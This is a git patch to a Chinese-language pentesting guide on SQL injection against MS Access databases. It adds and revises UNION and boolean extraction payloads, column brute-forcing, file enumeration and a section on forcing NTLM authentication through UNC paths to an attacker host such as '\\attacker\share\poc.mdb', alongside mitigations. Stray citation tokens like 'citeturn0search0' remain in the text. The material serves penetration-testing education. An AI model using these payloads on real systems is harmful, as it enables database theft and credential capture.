From 951d1cb92b9ad4f326c3648d2396feace661f4d6 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 11 Jul 2025 10:08:02 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md --- .../sql-injection/ms-access-sql-injection.md | 95 ++++++++++++++----- 1 file changed, 69 insertions(+), 26 deletions(-) diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index b7f5b15d0..246c7ca03 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -4,7 +4,7 @@ ## 在线游乐场 -- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) +- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) ## 数据库限制 @@ -21,7 +21,7 @@ ```sql 1' union select 1,2 from table%00 ``` -如果这不起作用,您可以始终修复查询的语法: +如果这不起作用,您可以随时修复查询的语法: ```sql 1' UNION SELECT 1,2 FROM table WHERE ''=' ``` @@ -31,7 +31,7 @@ ### LIMIT -**`LIMIT`** 操作符 **未实现**。但是,可以使用 **`TOP` 操作符** 将 SELECT 查询结果限制为 **前 N 行**。`TOP` 接受一个整数作为参数,表示要返回的行数。 +**`LIMIT`** 操作符 **未实现**。然而,可以使用 **`TOP` 操作符** 将 SELECT 查询结果限制为 **前 N 行**。`TOP` 接受一个整数作为参数,表示要返回的行数。 ```sql 1' UNION SELECT TOP 3 attr FROM table%00 ``` @@ -40,19 +40,19 @@ ## UNION 查询/子查询 在 SQLi 中,你通常会想以某种方式执行一个新查询,以从其他表中提取信息。MS Access 总是要求在 **子查询或额外查询中指明 `FROM`**。\ -因此,如果你想执行 `UNION SELECT` 或 `UNION ALL SELECT` 或在条件中使用括号中的 `SELECT`,你总是 **需要指明一个有效的表名 `FROM`**。\ +因此,如果你想执行 `UNION SELECT` 或 `UNION ALL SELECT` 或在条件中使用括号的 `SELECT`,你总是 **需要指明一个有效的表名的 `FROM`**。\ 因此,你需要知道一个 **有效的表名**。 ```sql -1' UNION SELECT username,password from users%00 ``` -### 链接等于 + 子字符串 +### Chaining equals + Substring > [!WARNING] > 这将允许您在不需要知道表名的情况下提取当前表的值。 **MS Access** 允许 **奇怪的语法**,例如 **`'1'=2='3'='asd'=false`**。通常,SQL 注入将位于 **`WHERE`** 子句中,我们可以利用这一点。 -想象一下,您在 MS Access 数据库中有一个 SQLi,并且您知道(或猜测)某一 **列名是 username**,而这是您想要 **提取** 的字段。您可以检查在使用链接等于技术时,Web 应用程序的不同响应,并可能使用 **`Mid`** 函数通过 **布尔注入** 提取内容。 +想象一下,您在 MS Access 数据库中有一个 SQLi,并且您知道(或猜测)某一 **列名是 username**,而这是您想要 **提取** 的字段。您可以检查在使用链式等号技术时,Web 应用程序的不同响应,并可能使用 **`Mid`** 函数进行布尔注入以获取子字符串。 ```sql '=(Mid(username,1,3)='adm')=' ``` @@ -72,14 +72,14 @@ _Feel free to check this in the online playground._ ```sql -1' AND (SELECT TOP 1 )%00 ``` -_随时可以在在线演示中检查此内容。_ +_Feel free to check this in the online playground._ - Sqlmap 常见表名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt) - 另一个列表在 [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) -### 暴力破解列名 +### 强行破解列名 -您可以使用链式等号技巧**暴力破解当前列名**: +您可以使用链式等号技巧**强行破解当前列名**: ```sql '=column_name=' ``` @@ -87,7 +87,7 @@ _随时可以在在线演示中检查此内容。_ ```sql -1' GROUP BY column_name%00 ``` -或者你可以使用以下方法暴力破解**不同表**的列名: +您也可以使用以下方法对**不同表**的列名进行暴力破解: ```sql '=(SELECT TOP 1 column_name FROM valid_table_name)=' @@ -99,18 +99,28 @@ _随时可以在在线演示中检查此内容。_ ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` -简而言之,该查询使用“if-then”语句以便在成功时触发“200 OK”,否则触发“500 Internal Error”。利用TOP 10运算符,可以选择前十个结果。随后使用LAST仅考虑第十个元组。在该值上,使用MID运算符,可以进行简单的字符比较。通过适当更改MID和TOP的索引,我们可以转储所有行的“username”字段的内容。 +简而言之,该查询使用“if-then”语句,以便在成功时触发“200 OK”,否则触发“500 Internal Error”。利用TOP 10运算符,可以选择前十个结果。随后使用LAST仅考虑第十个元组。在该值上,使用MID运算符,可以进行简单的字符比较。通过适当更改MID和TOP的索引,我们可以转储所有行的“username”字段的内容。 -### 基于时间 +### 基于时间的(盲)技巧 -检查 [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN]() +Jet/ACE SQL本身**不**暴露原生的`SLEEP()`或`WAITFOR`函数,因此传统的基于时间的盲注入受到限制。然而,您仍然可以通过强制引擎访问**慢或不响应的网络资源**来引入可测量的延迟。因为引擎会在返回结果之前尝试打开文件,所以HTTP响应时间反映了到攻击者控制的主机的往返延迟。 +```sql +' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- +``` +将 UNC 路径指向: + +* 一个位于高延迟链接后的 SMB 共享 +* 一个在 `SYN-ACK` 后丢弃 TCP 握手的主机 +* 一个防火墙 sinkhole + +远程查找引入的额外秒数可以用作 **带外定时神谕** 来判断布尔条件(例如,仅在注入的谓词为真时选择慢路径)。微软在 KB5002984 中记录了远程数据库行为和相关的注册表杀开关。 citeturn1search0 ### 其他有趣的函数 -- `Mid('admin',1,1)` 从位置1获取长度为1的子字符串(初始位置为1) -- `LEN('1234')` 获取字符串的长度 -- `ASC('A')` 获取字符的ascii值 -- `CHR(65)` 从ascii值获取字符串 +- `Mid('admin',1,1)` 从位置 1 获取长度为 1 的子字符串(初始位置为 1) +- `LEN('1234')` 获取字符串长度 +- `ASC('A')` 获取字符的 ASCII 值 +- `CHR(65)` 从 ASCII 值获取字符串 - `IIF(1=1,'a','b')` 如果则 - `COUNT(*)` 计算项目数量 @@ -126,25 +136,25 @@ and MSysObjects.name not like '~*' and MSysObjects.name not like 'MSys*' order by MSysObjects.name ``` -然而,请注意,发现 SQL 注入的情况是非常典型的,**您无法访问读取表 `MSysObjects`**。 +然而,请注意,**在没有访问权限读取表 `MSysObjects` 的情况下,发现 SQL 注入是非常典型的**。 ## 文件系统访问 ### Web 根目录完整路径 -**Web 根绝对路径的知识可能会促进进一步的攻击**。如果应用程序错误没有完全隐藏,可以通过尝试从不存在的数据库中选择数据来揭示目录路径。 +**Web 根目录的绝对路径知识可能会促进进一步的攻击**。如果应用程序错误没有完全隐藏,可以通过尝试从一个不存在的数据库中选择数据来揭示目录路径。 -`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` +`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` -MS Access 会返回一个**包含 Web 目录完整路径名的错误消息**。 +MS Access 会返回一个 **包含 Web 目录完整路径名的错误消息**。 ### 文件枚举 -以下攻击向量可用于**推断远程文件系统上文件的存在**。如果指定的文件存在,MS Access 会触发一条错误消息,告知数据库格式无效: +以下攻击向量可用于 **推断远程文件系统上文件的存在**。如果指定的文件存在,MS Access 会触发一个错误消息,告知数据库格式无效: `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` -另一种枚举文件的方法是**指定一个 database.table 项**。**如果**指定的**文件存在**,MS Access 会显示一条**数据库格式错误消息**。 +另一种枚举文件的方法是 **指定一个 database.table 项目**。**如果**指定的 **文件存在**,MS Access 会显示一个 **数据库格式错误消息**。 `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00` @@ -154,14 +164,47 @@ MS Access 会返回一个**包含 Web 目录完整路径名的错误消息**。 `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` -其中**name\[i] 是一个 .mdb 文件名**,**realTable 是数据库中存在的表**。尽管 MS Access 总是会触发一条错误消息,但可以区分无效文件名和有效的 .mdb 文件名。 +其中 **name[i] 是一个 .mdb 文件名**,**realTable 是数据库中存在的表**。尽管 MS Access 总是会触发一个错误消息,但可以区分无效文件名和有效的 .mdb 文件名。 -### .mdb 密码破解 +### 远程数据库访问与 NTLM 凭证盗窃 (2023) -[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) 是一个免费的实用程序,可用于恢复 Microsoft Access 95/97/2000/XP 或 Jet Database Engine 3.0/4.0 的主数据库密码。 +自 Jet 4.0 起,每个查询都可以通过 `IN ''` 子句引用位于 *不同* `.mdb/.accdb` 文件中的表: +```sql +SELECT first_name FROM Employees IN '\\server\share\hr.accdb'; +``` +如果用户输入被连接到 **IN** 之后的部分(或连接到 `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` 调用中),攻击者可以指定一个指向他们控制的主机的 **UNC 路径**。引擎将会: + +1. 尝试通过 SMB / HTTP 进行身份验证以打开远程数据库; +2. 泄露 web 服务器的 **NTLM 凭据**(强制身份验证); +3. 解析远程文件 – 一个格式错误或恶意的数据库可以触发 Jet/ACE 内存损坏漏洞,这些漏洞已经被多次修补(例如 CVE-2021-28455)。 + +实际注入示例: +```sql +1' UNION SELECT TOP 1 name +FROM MSysObjects +IN '\\attacker\share\poc.mdb'-- - +``` +影响: + +* 通过带外方式提取 Net-NTLMv2 哈希(可用于中继或离线破解)。 +* 如果利用新的 Jet/ACE 解析器漏洞,可能导致远程代码执行。 + +缓解措施(即使对于遗留的 Classic ASP 应用程序也推荐): + +* 在 `HKLM\Software\Microsoft\Jet\4.0\Engines` 下添加注册表值 `AllowQueryRemoteTables = 0`(以及在相应的 ACE 路径下)。这会强制 Jet/ACE 拒绝以 `\\` 开头的远程路径。 +* 在网络边界阻止出站 SMB/WebDAV。 +* 清理/参数化可能最终出现在 `IN` 子句中的查询的任何部分。 + +Check Point Research 在 2023 年重新审视了强制身份验证向量,证明在缺少注册表键的情况下,它仍然可以在完全修补的 Windows Server 上被利用。 citeturn0search0 + +### .mdb 密码破解工具 + +[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) 是一个免费的实用程序,可用于恢复 Microsoft Access 95/97/2000/XP 或 Jet 数据库引擎 3.0/4.0 的主数据库密码。 ## 参考文献 - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- [Microsoft KB5002984 – 配置 Jet/ACE 以阻止远程表](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) +- [Check Point Research – 利用 Microsoft Access 连接表进行 NTLM 强制身份验证(2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}}